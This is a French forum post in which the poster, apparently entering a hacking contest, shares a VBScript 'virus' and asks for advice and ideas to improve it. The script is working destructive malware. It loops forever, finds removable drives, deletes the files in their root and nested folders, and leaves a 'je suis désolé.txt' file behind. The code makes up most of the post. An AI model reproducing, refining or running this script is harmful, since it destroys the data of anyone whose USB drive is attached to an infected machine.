Bonjour, dans le cadre du hacking, je suis invité à participer à un concours qui consiste à créer un virus en VBS. Pour le mien, j’ai ciblé les disques amovibles. Je vous montre mon code pour me donner des conseilles, des astuces, des idées. Un grand merci pour les réponses !

Do while true
Set FSO  = CreateObject("Scripting.FileSystemObject")
For Each Drv In FSO.Drives
	IF Drv.drivetype = 1 Then  
		Set fils = FSO.getfolder(Drv.path &"\")
		For Each fichier1 In  fils.Files   
			fichier1.delete() 
		wscript.sleep 3000
		FSO.createtextfile(Drv&"\je suis désolé.txt")
		Next
		Set FSE  = CreateObject("Scripting.FileSystemObject")
		Set virus = FSE.getfolder(Drv.path &"\")     
			For Each dossier In  virus.Subfolders 
				Set route1 = FSO.getfolder(dossier.path &"\")
				For Each fichier2 In  route1.Files     
					fichier2.Delete()               
					Set route2 = FSO.getfolder(dossier.path &"\")
					For Each fichier3 In  route2.subfolders
						Set route2 = FSO.getfolder(fichier3.path &"\")
						For Each fichier4 In  route2.Files 
							fichier4.delete()
						Next		
					Next
				Next	
			Next
End If
Next
wscript.sleep 5000
Loop